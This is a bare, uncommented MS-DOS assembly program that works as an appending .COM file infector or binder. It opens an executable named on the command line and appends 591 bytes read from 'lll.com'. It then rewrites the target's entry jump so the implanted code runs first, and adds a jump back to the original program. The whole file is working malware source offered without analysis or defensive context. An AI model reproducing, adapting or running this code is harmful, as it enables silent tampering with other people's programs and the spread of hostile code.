code segment
assume cs:code,ds:code
org 100h
begin :jmp zd
handle dw ?
bdhand dw ?
jmp db 0e9h
len dw ?
real dw ?
dss dw ?
bdfile db 'lll.com',0

zd proc near

readline:
mov al,byte ptr ds:[0080h]
mov si,ax
mov byte ptr [si+0081h],00

open:
mov ax,0
mov al,2
mov ah,3dh
mov dx,0082h
int 21h
mov handle,ax

bdopen:
mov al,0
mov ah,3dh
mov dx,offset bdfile
int 21h
mov bdhand,ax

mov ah,3fh
mov dx,1000h
mov cx,591
mov bx,bdhand
int 21h

read:
mov al,0
mov dx,1
mov cx,0
call seek
mov ah,3fh
mov bx,handle
mov cx,2
mov dx,offset real
int 21h

readlen:
mov al,2
mov dx,0
mov cx,0
call seek
mov dss,ax
add ax,100h
sub ax,103h
mov len,ax

mov ax,real
add ax,103h
add dss,100h+591
sub ax,3
sub ax,dss
mov real,ax

writebd:
mov dx,0
mov cx,0
mov al,2
call seek
mov cx,591
mov dx,1000h
call write

writejmp:
mov dx,1
mov cx,0
mov al,0
call seek
mov cx,2
mov dx,offset len
call write

writee9:
mov dx,0
mov cx,0
mov al,2
call seek
mov cx,1
mov dx,offset jmp
call write

writereal:
mov dx,0
mov cx,0
mov al,2
call seek
mov cx,2
mov dx,offset real
call write

close:
mov ah,3eh
mov bx,handle
int 21h
int 20h
zd endp

seek proc near
mov ah,42h
mov bx,handle
int 21h
ret
seek endp

write proc near
mov ah,40h
mov bx,handle
int 21h
ret
write endp

code ends
end begin